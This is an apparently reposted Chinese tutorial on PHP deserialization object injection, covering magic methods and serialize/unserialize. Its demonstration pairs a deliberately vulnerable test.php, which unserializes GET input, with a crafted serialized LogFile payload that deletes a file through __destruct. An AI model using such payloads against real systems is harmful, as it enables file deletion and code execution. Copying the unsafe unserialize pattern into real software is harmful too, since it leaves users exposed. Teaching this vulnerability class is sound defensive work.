php關於還原序列化對象注入漏洞

來源:互聯網
上載者:User


php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險。本文主要和大家分享php關於還原序列化對象注入漏洞詳解,希望能協助到大家。

分析

php基礎

serialize 把一個對象轉成字串形式, 可以用於儲存
unserialize 把serialize序列化後的字串變成一個對象

php類可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號__開頭的,
比如 __construct, __destruct, __toString, __sleep, __wakeup等等。

這些函數在某些情況下會自動調用,比如
__construct當一個對象建立時被調用,
__destruct當一個對象銷毀時被調用,
__toString當一個對象被當作一個字串使用。

舉例說明

舉個例子:

    <?php        class TestClass        {            public $variable = 'This is a string';            public function PrintVariable()            {                echo $this->variable . '<br />';            }             public function __construct()            {                echo '__construct <br />';            }              public function __destruct()            {                echo '__destruct <br />';            }            public function __toString()            {                return '__toString<br />';            }        }        $object = new TestClass();            $object->PrintVariable();        echo $object;          ?>

php允許儲存一個對象方便以後重用,這個過程被稱為序列化。

為什麼要有序列化這種機制呢?
在傳遞變數的過程中,有可能遇到變數值要跨指令檔傳遞的過程。試想,如果為一個指令碼中想要調用之前一個指令碼的變數,但是前一個指令碼已經執行完畢,所有的變數和內容釋放掉了,我們要如何操作呢?難道要前一個指令碼不斷的迴圈,等待後面指令碼調用?這肯定是不現實的。

serialize和unserialize就是用來解決這一問題的。serialize可以將變數轉換為字串並且在轉換中可以儲存當前變數的值;unserialize則可以將serialize產生的字串變換回變數。這樣在跨指令碼傳輸和執行就完美解決了。

magic函數__construct和__destruct會在對象建立或者銷毀時自動調用;
__sleep magic方法在一個對象被序列化的時候調用;
__wakeup magic方法在一個對象被還原序列化的時候調用。

<?phpclass User    {        public $age = 0;        public $name = '';      public function Printx()    {      echo $this->name.' is '.$this->age.' years old.<br/>';    }    public function __construct()        {            echo '__construct<br />';        }        public function __destruct()        {            echo '__destruct<br />';        }        public function __wakeup()        {            echo '__wakeup<br />';        }        public function __sleep()        {            echo '__sleep<br />';            return array('name', 'age');        }    }$usr = new User(); $usr->age = 20;    $usr->name = 'John';    $usr->Printx();    echo serialize($usr);echo '<br/>';   $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}';  $user2 = unserialize($str);$user2->Printx();?>

現在我們瞭解序列化是如何工作的,但是我們如何利用它呢?
有多種可能的方法,取決於應用程式、可用的類和magic函數。

記住,序列化對象包含攻擊者控制的對象值。
你可能在Web應用程式原始碼中找到一個定義__wakeup或__destruct的類,這些函數會影響Web應用程式。

例如,我們可能會找到一個臨時將日誌儲存到檔案中的類。當銷毀時對象可能不再需要記錄檔並將其刪除。把下面這段代碼儲存為log.php。

<?php     //log.php     class LogFile    {        // log檔案名稱        public $filename = 'error.log';        // 儲存記錄檔        public function LogData($text)        {            echo 'Log some data: ' . $text . '<br />';            file_put_contents($this->filename, $text, FILE_APPEND);        }        // 刪除記錄檔        public function __destruct()        {            echo '__destruct deletes "' . $this->filename . '" file. <br />';            unlink(dirname(__FILE__) . '/' . $this->filename);        }    }    ?>

test.php 假設這是給使用者的php。

    <?php        //test.php         include 'logfile.php';        // ... 一些使用LogFile類的代碼...        // 簡單的類定義        class User        {            // 類資料            public $age = 0;            public $name = '';            // 輸出資料            public function PrintData()            {                echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';            }        }        // 重建使用者輸入的資料        $usr = unserialize($_GET['usr_serialized']);        ?>

123.php

<?php        //123.php      include 'logfile.php';        $obj = new LogFile();        $obj->filename = '1.php';        echo serialize($obj) . '<br />';        ?>

開始有一個1.php:

現在使用者傳入一個序列化字串,test.php將其還原序列化,

http://127.0.0.1/test.php?usr_serialized=

O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}

結果,解析出來的對象,在釋放過程中,調用了log.php的__destruct()函數,把檔案1.php給刪除了。

利用總結

在變數可控並且進行了unserialize操作的地方注入序列化對象,實現代碼執行或者其它坑爹的行為。

先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決於程式邏輯。
舉個例子,某使用者類定義了一個__toString為了讓應用程式能夠將類作為一個字串輸出(echo $obj),而且其他類也可能定義了一個類允許__toString讀取某個檔案。


也可以使用其他magic函數:
如果對象將調用一個不存在的函數__call將被調用;
如果對象試圖訪問不存在的類變數__get和__set將被調用。

但是利用這種漏洞並不局限於magic函數,在普通的函數上也可以採取相同的思路。

例如User類可能定義一個get方法來尋找和列印一些使用者資料,但是其他類可能定義一個從資料庫擷取資料的get方法,這從而會導致SQL注入漏洞。

set或write方法會將資料寫入任意檔案,可以利用它獲得遠程代碼執行。

唯一的技術問題是注入點可用的類,但是一些架構或指令碼具有自動載入的功能。最大的問題在於人:理解應用程式以能夠利用這種類型的漏洞,因為它可能需要大量的時間來閱讀和理解代碼。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.